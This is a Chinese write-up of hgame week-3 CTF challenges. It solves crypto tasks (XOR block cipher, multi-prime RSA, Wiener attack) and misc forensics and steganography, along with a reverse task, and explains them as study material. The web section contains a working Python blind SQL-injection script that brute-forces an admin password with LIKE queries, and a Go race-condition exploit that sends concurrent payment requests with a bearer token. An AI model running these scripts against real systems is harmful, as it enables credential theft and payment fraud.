【hgame week3】write up

前言

第三周题量不多,还是没摆烂摆下去。

CRYPTO

Block Cipher

考点在于字节流转换以及分组加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import operator
import random
import re
from functools import reduce
from secret import flag


def pad(s):
padding_length = (8 - len(s)) % 8
return s + chr(padding_length) * padding_length


def xor(a, b):
assert len(a) == len(b)
return bytes(map(operator.xor, a, b))


def encrypt(s):
iv = bytes(random.randint(0, 255) for _ in range(8))
key = bytes(random.randint(0, 255) for _ in range(8))
parts = list(map(str.encode, map(pad, re.findall(r'.{1,8}', s))))
results = []
for index, part in enumerate(parts):
results.append(reduce(xor, [part, iv if index == 0 else results[-1], key]))
return iv, key, results

iv, key, parts = encrypt(flag)
print(f"iv = {iv}")
print(f"key = {key}")
print(f"parts = {parts}")

加密逻辑就是将flag分成8位1part,然后第一位和iv和key异或,第二位和key以及第一次异或结果,以此类推。因此我们只需要将字节流转换回整形进行反向异或即可。编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
iv = b'Up\x14\x98r\x14%\xb9'
key = b'\r\xe8\xb86\x9c33^'
parts = [b'0\xff\xcd\xc3\x8b\\T\x8b', b'RT\x1e\x89t&\x17\xbd', b'\x1a\xee\x8d\xd6\x9b>w\x8c', b'9CT\xb3^pF\xd0']

a = int.from_bytes(iv, byteorder='big')
b = int.from_bytes(key, byteorder='big')
c = []
for i in parts:
c.append(int.from_bytes(i, byteorder='big'))

for j in range(0,3):
flag = c[3-j]^c[2-j]^b
print(hex(flag))
d = c[0]^a^b
print(hex(d))

将四次输出结果放过来解码十六进制即可得到flag:

Multi Prime RSA

RSA的多素数加密,上加密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import getPrime
from gmpy2 import invert
from libnum import s2n

from secret import flag, get_phi

p = getPrime(256)
q = getPrime(256)
r = getPrime(256)
s = getPrime(256)
n = p ** 2 * q ** 3 * r ** 5 * s ** 7
phi = get_phi(p, q, r, s)
e = 65537
c = pow(s2n(flag), e, n)
print(f"p = {p}")
print(f"q = {q}")
print(f"r = {r}")
print(f"s = {s}")
print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")

这里要运用到欧拉函数的计算方法:

根据上面的方法直接写脚本解RSA:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import libnum

p = 109056753224725357860050862987465749131702509174531265860789564184166504627089
q = 64871884070495743485110397060920534297122908609816622599229579748089451488127
r = 73817195552029165561107245309535744382442021553254903166961729774806232509583
s = 89907870347457693114161779597928900080173728317019344960807644151097370118553
n = 337945247991531188630780631650822497552908401425959508214145019590891175999570651678385514599227649321033438265588883204645721459926338248032512615537333971869461679586403649697114789385472197685140603238299768873935137939123021910982793481655218061907401584383081422244812725080939394854989735528833013780919908024635812696998644603525843637686545709789908672408993923182946718279531020289767042649725545073526307769817097790005360720650079676982379162926484355121626302801800589993422729725583400678081766553017405965706770238634252836827793877622715474210575752508172785712202444441372140501379422725172250199713113954442223362073485143579617841236442644760494913432967541691532709842303408702693199269606594116690052170245340072114122287646793344327315326489574192325790848798131621842606487734721409882742631176999703502149639410263361145441889337623403361569958342141903891414217371443118527025041591219747780100510414268546884029077010164415049298406632069845430841542680166802473749172801804659277821899576403669845353379213803866969800665351300325701817179936198902427032684058452719607840314873315299975603264092020097224735237221994922702705781103002327285724125001893421030923788361576161461965707958695720464547129911053732747399113017747456439027947305796290572816318795181398935020951025833913
e = 65537
c = 281020926647419736778465777714512241989738235339105762863874725870511725155101862585192241287617168165290485944476735304459717602798728005687755713662466866091315959960168862035396245078850168822145228676116894754613436735897122137945552880864031115366493898382809812977280234389519365119627504653135151731589924405933589175425427189436855517194951589952822691774400942764910734054237756669945324833759799471068481769516338068810710333940167779043544371586185132920304774984746129764220081092726473696111126293966890901487735046101991609292612206984184161394385767762455321150541601949740631911175736268756408775307673610842645555513631617648877296855194327486811545670357137463942744122553468603244298691801028147147418563982169678640270746871085722092365159546820433098926679284504740402248142173715649451061037156261913601096905601577932894877435316535261789072594174871292814951406337447799051502635390866434813419165738873787323716033378045850292413169255965421404580559241351577058726176436504950558398769061998430771982995850759810867299728407860522399699076192754977454139708618158667289120827143703464056583125568576691058753072898162981956883451252542611323974071518397220203389962420073122776649094369816178685947397943358134020598211306649724455966463885765977564934172273334309312046278116760547


flag = ''
phi = (p**2-p)* (q**3-q**2) * (r**5-r**4) * (s**7-s**6)
d = libnum.invmod(e,phi)
flag = libnum.n2s(pow(c,d,n))
print(flag)

解得flag:

RSA Attack 3

这题要利用到RSA中的wiener-attack,特征是e的值非常大,这就导致了d的值会比较小,因此可以利用相关工具破解。这里从网上码了一个完整的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import gmpy2
import libnum

def continuedFra(x, y):
cf = []
while y:
cf.append(x // y)
x, y = y, x % y
return cf
def gradualFra(cf):
numerator = 0
denominator = 1
for x in cf[::-1]:
numerator, denominator = denominator, x * denominator + numerator
return numerator, denominator
def solve_pq(a, b, c):
par = gmpy2.isqrt(b * b - 4 * a * c)
return (-b + par) // (2 * a), (-b - par) // (2 * a)
def getGradualFra(cf):
gf = []
for i in range(1, len(cf) + 1):
gf.append(gradualFra(cf[:i]))
return gf

def wienerAttack(e, n):
cf = continuedFra(e, n)
gf = getGradualFra(cf)
for d, k in gf:
if k == 0: continue
if (e * d - 1) % k != 0:
continue
phi = (e * d - 1) // k
p, q = solve_pq(1, n - phi + 1, n)
if p * q == n:
return d


n= 507419170088344932990702256911694788408493968749527614421614568612944144764889717229444020813658893362983714454159980719026366361318789415279417172858536381938870379267670180128174798344744371725609827872339512302232610590888649555446972990419313445687852636305518801236132032618350847705234643521557851434711389664130274468354405273873218264222293858509477860634889001898462547712800153111774564939279190835857445378261920532206352364005840238252284065587291779196975457288580812526597185332036342330147250312262816994625317482869849388424397437470502449815132000588425028055964432298176942124697105509057090546600330760364385753313923003549670107599757996810939165300581847068233156887269181096893089415302163770884312255957584660964506028002922164767453287973102961910781312351686488047510932997937700597992705557881172640175117476017503918294534205898046483981707558521558992058512940087192655700351675718815723840568640509355338482631416345193176708501897458649841539192993142790402734898948352382350766125000186026261167277014748183012844440603384989647664190074853086693408529737767147592432979469020671772152652865219092597717869942730499507426269170189547020660681363276871874469322437194397171763927907099922324375991793759
e= 77310199867448677782081572109343472783781135641712597643597122591443011229091533516758925238949755491395489408922437493670252550920826641442189683907973926843505436730014899918587477913032286153545247063493885982941194996251799882984145155733050069564485120660716110828110738784644223519725613280140006783618393995138076030616463398284819550627612102010214315235269945251741407899692274978642663650687157736417831290404871181902463904311095448368498432147292938825418930527188720696497596867575843476810225152659244529481480993843168383016583068747733118703000287423374094051895724494193455175131120243097065270804457787026492578916584536863548445813916819417857064037664101684455000184987531252344582899589746272173970083733130106407810619258077266603898529285634495710846838011858287024329514491058790557305041389614650730267774482954666726949886313386881066593946789460028399523245777171320319444673551268379126203862576627540177888290265714418064334752499940587750374552330008143708562065940245637685833371348603338834447212248648869514585047871442060412622164276894766238383894693759347590977926306581080390685360615407766600573527565016914830132066428454738135380178959590692145577418811677639050929791996313180297924833690095
c= 165251729917394529793163344300848992394021337429474789711805041655116845722480301677817165053253655027459227404782607373107477419083333844871948673626672704233977397989843349633720167495862807995411682262559392496273163155214888276398332204954185252030616473235814999366132031184631541209554169938146205402400412307638567132128690379079483633171535375278689326189057930259534983374296873110199636558962144635514392282351103900375366360933088605794654279480277782805401749872568584335215630740265944133347038070337891035560658434763924576508969938866566235926587685108811154229747423410476421860059769485356567301897413767088823807510568561254627099309752215808220067495561412081320541540679503218232020279947159175547517811501280846596226165148013762293861131544331444165070186672186027410082671602892508739473724143698396105392623164025712124329254933353509384748403154342322725203183050328143736631333990445537119855865348221215277608372952942702104088940952142851523651639574409075484106857403651453121036577767672430612728022444370874223001778580387635197325043524719396707713385963432915855227152371800527536048555551237729690663544828830627192867570345853910196397851763591543484023134551876591248557980182981967782409054277224

d=wienerAttack(e, n)
m=pow(c, d, n)
print(libnum.n2s(m).decode())

得出flag:

MISC

卡中毒

内存取证,这次也是第一次上手,工具装了蛮久的,有点麻,但是题目本身不难。

首先基本操作,查看系统信息:

看出操作系统是win7sp1x64,接着根据提示内容,查看ie浏览记录:

发现flag文件,格式为7z,搜索文件位置:

根据文件位置获取文件:

打开后发现一个WannaRen病毒加密的txt文件:

利用火绒WannaRen解密工具进行解密后,发现txt文件中是一串新与佛论禅密码,解码即可得到flag:

谁不喜欢猫猫呢

附件是一张甘城猫猫的新图,爱了爱了。010翻到最后发现藏有压缩包,直接改后缀提取两个txt文件:

发现是两个txt文件中都是9个数字,这里尝试把两个文档中位置对应的数字加起来转换成2进制发现可以得出flag头,因此进行转换:

1
2
3
4
5
6
list1 = [776686, 749573, 6395443, 2522866, 279584, 587965, 4012670, 1645156, 2184634]
list2 = [6065523, 6419830, 1421837, 5103682, 5963053, 2842996, 1113825, 1594064, 4578755]

for i in range(0,9):
result = list1[i]+list2[i]
print('{:024b}'.format(result))

结果:

做一次二进制转字符串得到flag:

这里做下赛后补充,上述做法是直接尝试出来的,但是预期解法中会直接提示你要做加法运算。

首先发现图上有异常像素,用python脚本进行提取:

1
2
3
4
5
6
7
8
9
10
11
12
13
from PIL import Image

x, y = 0, 0
a = Image.open("cat.png")
flag = Image.new("RGB", (214, 214))
for w in range(4, a.size[0] -10 , 11):
for h in range(4, a.size[1]-10 , 11):
r, g, b, _ = a.getpixel((w + 1, h + 1))
rgba = flag.putpixel((x, y), (r, g, b))
y += 1
x += 1
y = 0
flag.save("data.png")

得到图1:

观察发现每个带颜色的点都间隔4像素点,由此编出脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from PIL import Image

img = Image.open('26.png')
width, height = img.size
pixs_list = []
for w in range(2, width, 5):
for h in range(2, height, 5):
pix = img.getpixel((w, h))
pixs_list.append(pix)
new_width, new_height = 43, 43
new_img = Image.new('RGB', (new_width, new_height))
idx = 0
for n_w in range(new_width):
for n_h in range(new_height):
new_img.putpixel((n_w, n_h), pixs_list[idx])
idx += 1
new_img.save('27.png')
new_img.show()

得到图2

wp说这里运用到的是cat变化,wp里给的脚本:

1
2
3
4
5
6
7
8
9
10
def arnold_decode(image, a, b):
decode_image = np.zeros(shape=image.shape)
h, w = image.shape[0], image.shape[1]
N = h
for ori_x in range(h):
for ori_y in range(w):
new_x = ((a*b+1)*ori_x + (-b)* ori_y)% N
new_y = ((-a)*ori_x + ori_y) % N
decode_image[new_x, new_y, :] = image[ori_x, ori_y, :]
return decode_image

网上大佬的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from PIL import Image

img = Image.open('ok1.png')
if img.mode == "P":
img = img.convert("RGB")
assert img.size[0] == img.size[1]
dim = width, height = img.size

st = 1
a = 9
b = 39
for _ in range(st):
with Image.new(img.mode, dim) as canvas:
for nx in range(img.size[0]):
for ny in range(img.size[0]):
y = (ny - nx * a) % width
x = (nx - y * b) % height
canvas.putpixel((y, x), img.getpixel((ny, nx)))
canvas.show()
canvas.save('28.png')

得到图3:

npiet解密:

得出加法运算结论。

REVERSE

creakme3

IDA有插件或者版本合适的话其实可以反汇编pcc的,这里属于是出题人失误了。
题目用结构体数组保存了一组数据,其中第一个int为字符的ASCII码,第二个int为字符的顺序,使用猴子排序算法来对数据进行排序,如果排序成功就会输出flag。

我做的时候是自己试了试就排出来了,放个官方wp的脚本吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
struct alpha
{
int ch;
int index;
};
struct alpha a[89] =
{
{ 48, 20093 }, { 48, 26557 }, { 48, 31304 }, { 48, 33442 }, { 48, 37694}, { 49, 39960 }, { 50, 23295 }, { 50, 27863 }, { 50, 42698 }, { 50,48505 }, { 50, 52925 }, { 51, 12874 }, { 51, 12946 }, { 51, 14597 }, {51, 17041 }, { 51, 23262 }, { 51, 28319 }, { 51, 42282 }, { 51, 48693 },{ 51, 52067 }, { 53, 32571 }, { 56, 14612 }, { 56, 45741 }, { 57, 14554 },{ 57, 20048 }, { 57, 27138 }, { 57, 45327 }, { 66, 30949 }, { 95, 32502}, { 95, 35235 }, { 95, 36541 }, { 95, 38371 }, { 97, 29658 }, { 100,21388 }, { 100, 25403 }, { 100, 40604 }, { 100, 46987 }, { 100, 51302 },{ 101, 12974 }, { 101, 30329 }, { 102, 10983 }, { 102, 19818 }, { 102,22280 }, { 102, 26128 }, { 102, 41560 }, { 102, 47116 }, { 102, 51333 },{ 103, 28938 }, { 103, 31988 }, { 104, 16246 }, { 104, 28715 }, { 104,41966 }, { 104, 44368 }, { 104, 47815 }, { 105, 16420 }, { 105, 35362 },{ 105, 49237 }, { 106, 11090 }, { 106, 50823 }, { 107, 24320 }, { 107,50199 }, { 108, 24962 }, { 109, 30171 }, { 110, 15457 }, { 110, 18838 },{ 110, 24001 }, { 111, 11638 }, { 111, 32023 }, { 111, 43291 }, { 112,39661 }, { 114, 17872 }, { 114, 33895 }, { 114, 43869 }, { 115, 20611 },{ 115, 25122 }, { 115, 36243 }, { 115, 37434 }, { 115, 38686 }, { 115,46266 }, { 115, 51077 }, { 116, 13656 }, { 116, 34493 }, { 116, 38712 },{ 117, 14096 }, { 117, 38777 }, { 119, 12095 }, { 119, 17629 }, { 123,30945 }, { 125, 40770 }
};

#include<stdio.h>
int main()
{
for(int i=0;i<89;i++){
for(int j=0;j<89;j++){
if(a[i].index<a[j].index){
struct alpha temp=a[i];
a[i]=a[j];
a[j]=temp;
}
}
}
for(int i=0;i<89;i++){
putchar(a[i].ch);
}
}

//fjow33etu938nhi3wrnf90sdf32nklsdf0923hgame{B0go_50rt_is_s0_stup1d}fh32orh98sdfh23ikjsdf32

flag:hgame{B0go_50rt_is_s0_stup1d}

WEB

SecurityCenter

进入网页查看源码,发现提示install.json,查看后发现网页是twig模板:

测试后发现在跳转界面存在ssti注入,尝试构建twig的payload测试:

测试成功,接着获取flag文件就可以了,但是由于获取的内容不能存在hgame,因此要用base64的方式输出,接着解码得到flag:

Vidar shop demo

非预期

进入网页注册账号后,发现余额为9999,但是购买flag需要10000。观察页面发现除了flag还可以购买一个20元的徽章,购买流程是先下订单,再付款,而且付款后可以退款。

尝试抓包后发现退款是只验证商品id的,因此我们先从订单,然后购买20元的徽章,接着退款并且改id,就可以发现我们退款了一个flag的价格:


最后购买flag,得到flag:

预期

这题的实际考点是竞争上传,但是由于存在逻辑漏洞导致了非预期。

先查询出用户余额,然后创建订单,最后更新用户余额(余额值取自查询出的余额扣除订单金额)。整个过程持续了超过500ms(正常不会这么慢,特地sleep是为了方便做题)。所以假如在500ms内有同一个用户的多个不同订单的支付请求打进来,不妨假设查询到的用户余额都是100币(因为还没超过500ms,第一个请求还未更新用户余额),那么最终的结果是订单全部支付成功,但是用户的余额仅仅更新为了(100-最后一个订单金额)。最后再手动依次取消支付成功的订单,余额就会变多。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
type Ts struct {
Uid int `json:"uid"`
Oid int `json:"oid"`
Amount int `json:"amount"`
}

func TestHgame(T *testing.T) {
var ts Ts
ts.Uid = 1
ts.Oid = 7
ts.Amount = 5
go gorequest.New().Post("http://127.0.0.1:8003/apipay/create").
Set("Authorization", "bearereyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDM3NTAyNjEsImlhdCI6MTY0MzY2Mzg2MSwidWlkIjoxfQ.b1QV-ubi277QQobG9sS-T4XKq0P78wGMlKZ3aQTFiNE").
SendStruct(&ts).End()
var ts2 Ts
ts2.Uid = 1
ts2.Oid = 8
ts2.Amount = 5
go gorequest.New().Post("http://127.0.0.1:8003/api/paycreate").
Set("Authorization", "bearereyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDM3NTAyNjEsImlhdCI6MTY0MzY2Mzg2MSwidWlkIjoxfQ.b1QV-ubi277QQobG9sS-T4XKq0P78wGMlKZ3aQTFiNE").
SendStruct(&ts2).End()
time.Sleep(5 * time.Second)
}

LoginMe

进网页直接给了test的账号密码,登陆发现需要admin的账号密码才能获取flag。还给了hint:

这题要用like模糊查询来进行sql注入,爆出密码,这里有一个坑点就是post时数据是以json上传的,刚开始注的时候忘记了这点导致一直失败,编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import string
import json

strs = string.printable
url = "http://339a4b1eda.login.summ3r.top:60067/login"
s = requests.session()
headers = {'Content-Type': 'application/json'}

if __name__ == "__main__":
name = ''
for i in range(0,100):
char = ''
for j in strs:
payload = f"admin' and password like '{name+j}%"
data = {
"username": payload,
"password": "text"
}
r = s.post(url=url, data=json.dumps(data), headers=headers)
if "success" in r.text:
name += j
print(j, end='')
char = j
break
if char == '%':
break

爆出密码:

最后登录即可拿到flag: